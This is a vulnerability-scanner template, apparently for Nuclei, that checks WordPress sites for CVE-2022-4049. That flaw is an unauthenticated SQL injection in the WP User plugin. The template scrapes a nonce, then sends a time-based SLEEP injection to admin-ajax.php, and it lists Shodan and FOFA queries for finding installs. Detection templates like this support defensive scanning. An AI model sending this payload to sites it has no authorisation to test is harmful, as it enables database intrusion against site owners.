CVE-2022-4049: WP User <= 7.0 - Unauthenticated SQLi

id: CVE-2022-4049

info:
  name: WP User <= 7.0 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
    The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
  reference:
    - https://wpscan.com/vulnerability/9b0781e2-ad62-4308-bafc-d45b9a2472be
    - https://wordpress.org/plugins/wp-user/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4049
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4049
    cwe-id: CWE-89
    epss-score: 0.83301
    epss-percentile: 0.99229
    cpe: cpe:2.3:a:wp_user_project:wp_user:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 4
    vendor: wp_user_project
    product: wp_user
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-user/
    fofa-query: body=/wp-content/plugins/wp-user/
    publicwww-query: /wp-content/plugins/wp-user/
  tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-user,unauth,wp_user_project

http:
  - raw:
      - |
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpuser_group_action&group_action=x&wpuser_update_setting={{nonce}}&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)

    attack: clusterbomb
    payloads:
      path:
        - "/index.php/user/"
        - "/user"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header_2, "text/html")
          - contains(body_2, 'Invalid Access')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"wpuser_update_setting":"([0-9a-zA-Z]+)"'
        internal: true
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